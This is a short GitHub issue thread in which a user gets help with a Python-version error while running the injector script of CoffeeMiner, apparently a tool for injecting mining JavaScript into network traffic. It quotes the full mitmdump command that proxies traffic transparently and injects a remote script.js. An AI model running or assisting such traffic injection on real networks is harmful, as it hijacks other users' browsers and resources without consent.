Help!?Error Script Injector
mirk91 opened this issue · 6 comments
mirk91 commented
Hello))
problem:
I run the command mitmdump -s 'injector.py http://192.168.0.22:8000/script.js' -T
and have an error:
Loading script: injector.py http://192.168.0.22:8000/script.js
Script error: injector.py line 11: invalid syntax
Proxy server listening at http://0.0.0.0:8080
I beg your help, sorry if I'm to blame myself
please explain in detail.
arnaucube commented
which python version are you using?
mirk91 commented
python --version
Python 2.7.13
arnaucube commented
CoffeeMiner is implemented for Python 3
mirk91 commented
Well, I thought so, I did so alias python = python3
и python --version
Python 3.5.3
ran and got the same error
Loading script: injector.py http://192.168.0.22:8000/script.js
Script error: injector.py line 11: invalid syntax
Proxy server listening at http://0.0.0.0:8080
Im use ubuntu 17.04
pls help me..
arnaucube commented
try installing mitmproxy for python3
mirk91 commented
thank you, you helped me, you're cool)